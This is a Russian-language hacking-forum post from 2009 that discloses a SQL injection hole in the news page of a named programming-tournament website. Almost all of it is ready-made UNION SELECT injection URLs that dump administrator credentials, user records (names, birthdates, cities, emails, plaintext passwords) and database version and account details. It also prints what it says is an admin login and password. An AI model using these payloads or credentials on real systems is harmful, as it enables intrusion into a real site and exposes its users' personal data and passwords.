23.01.2009, 21:20
|
|
Познающий
Регистрация: 02.01.2009
Сообщений: 55
С нами:
9133681
Репутация:
90
|
|
Сайт турнира по программированию=) http://www.icl.ru
http://www.icl.ru/turnir/news.php?newsid=999+union+select+concat_ws(0x3a,pa ssword,username,login),2,3+from+contest.admins+lim it+2,1--
админка - pass:wordplay login: pupucya
пароли админов зашифрованы в MYSQL-4.x-Hash
вывод информации с пользователями:
http://www.icl.ru/turnir/news.php?newsid=999+union+select+concat_ws(0x3a,ni ckname,login,password,name,birthdate,city,email,cl ass),2,3+from+contest.user+limit+1,1--
пароли пользователей в незашифрованном виде ;-)
бд- turnir;
версия бд - 5.0.15-nt
юзер - contest@212.22.71.22
http://www.icl.ru/turnir/news.php?newsid=999+union+select+concat_ws(0x3a,ve rsion(),database(),user()),2,3--
|
|
|